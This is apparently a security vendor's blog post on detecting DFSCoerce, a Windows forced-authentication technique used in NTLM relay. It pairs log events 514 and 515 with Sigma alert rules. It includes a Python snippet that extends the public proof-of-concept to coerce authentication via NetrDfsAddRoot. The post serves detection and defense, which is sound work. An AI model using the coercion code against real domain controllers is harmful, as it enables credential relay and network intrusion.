Background

On 18 June 2022, security researcher Filip Dragovic published proof-of-concept code for a new forced authentication technique named DFSCoerce. This technique, inspired by other forced authentication techniques like PetitPotam and SpoolSample, often is used to force a victim Windows host to authenticate to an attacker’s machine. The attacker can then relay the credentials to gain additional access.

Detection Opportunities

The researcher mentions two methods to force the target to authenticate to a compromised host: NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. While the PoC script does not use the latter, it does include the necessary classes to allow any attacker to modify the code and invoke the method. Luckily, both methods are simple to detect. 

NetrDfsRemoveStdRoot’s vulnerability is very simple and reliable to execute against a domain controller (our target) and a host-with-responder (our listener), as shown in figure 1. 

     Compromised User: Vagrant

     Compromised Host: 192.168.56.105 (listener)

     Domain Controller: 192.168.56.102 (target)

Figure 1: Executing DFSCoerce.py (left) and receiving an authentication attempt from the target (right) 

The log source we’re interested in is Microsoft-Windows-DFSN-Server/Admin. If we take a look at this log around the time we executed DFSCoerce.py, we can see a 515 event that reveals the share specified in the code (“test”) and the IP address of the compromised host (see figure 2). 

Figure 2: A 515 event in Microsoft-Windows-DFSN-Server/Admin captures the NetrDfsRemoveStdRoot attack 

For the NetrDfsAddStdRoot method we add a function to the TriggerAuth class in DFSCoerce.py:

    def NetrDfsAddRoot(self, dce, listener):

        print("[-] Sending NetrDfsAddRoot!")

        try:

            request = NetrDfsAddRoot()

            request['ServerName'] = '%s\x00' % listener

            request['RootShare'] = 'test\x00'

            request['Comment'] = 'test\x00'

            request['ApiFlags'] = 1

            request.dump()

            resp = dce.request(request)

        except  Exception as e:

            print(e)

Finally, we simply change trigger.NetrDfsRemoveStdRoot to trigger.NetrDfsAddRoot towards the bottom of the script, as seen in figure 3:

Figure 3: Altering DFSCoerce.py to execute the NetrDfsAddRoot function we added earlier.

This method yields similar results– a 514 event in Microsoft-Windows-DFSN-Server/Admin, as shown in figure 4.

Figure 4:  A 514 event in Microsoft-Windows-DFSN-Server/Admin captures the NetrDfsAddStdRoot attack 

Recommendation

The ideal solution is to implement Microsoft’s recommendations to prevent NTLM relay attacks. However, disabling NTLM is a costly and time-consuming action. Until your organization can disable NTLM, the best course of action is to detect and alert on any anomalous attempts to add or remove DFS namespaces. Forward logs in Microsoft-Windows-DFSN-Server/Admin on all domain controllers and DFS servers to your SIEM and alert on all 515 and 514 events. When these events do occur, investigate the IP or hostname specified in the DfsServer field.

 

Be sure to read more of our NTLM-related research. We discuss SMB relaying attacks here and the Portbender utility here.

 

Sigma Rules

title: Attempted Removal of DFS Namespace

description: Alerts on all attempts to remove a DFS namespace which could be indicative of a DFSCoerce attack.

author: Weston Walker

reference: https://www.praetorian.com/blog/how-to-detect-dfscoerce/

logsource:

  product: windows

detection:

  selection:

    EventLog: Microsoft-Windows-DFSN-Server/Admin

    EventID: 515

falsepositives:

  - unknown

level: high

 

title: Attempted Creation of DFS Namespace

description: Alerts on all attempts to create a DFS namespace which could be indicative of a DFSCoerce attack.

author: Weston Walker

reference: https://www.praetorian.com/blog/how-to-detect-dfscoerce/

logsource:

  product: windows

detection:

  selection:

    EventLog: Microsoft-Windows-DFSN-Server/Admin

    EventID: 514

falsepositives:

  - unknown

level: high